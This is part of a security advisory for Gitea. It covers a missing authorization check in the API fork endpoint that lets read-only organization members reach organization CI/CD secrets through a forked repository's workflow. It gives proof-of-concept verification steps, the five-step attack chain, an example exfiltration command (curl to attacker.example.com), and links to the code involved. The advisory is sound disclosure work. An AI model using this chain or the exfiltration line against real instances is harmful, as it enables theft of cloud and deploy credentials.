Advisory

GHSA-fhx7-m96w-mv29

Details, part 2 of 2. The advisory

Details

7. Verify secret exfiltration

# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90

# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Impact

A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.

The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.

Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.

This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.

Supporting Material/References

  • poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
  • Vulnerable code — API fork handler (missing CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
  • Correct code — Web fork handler (has CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
  • Runner task assignment (matches on owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
  • Secret injection (fetches by Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
  • Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
  • Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
  • OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
  • OWASP Top 10 2021: A01 — Broken Access Control

poc-fork-authz-bypass.zip

Sources & licences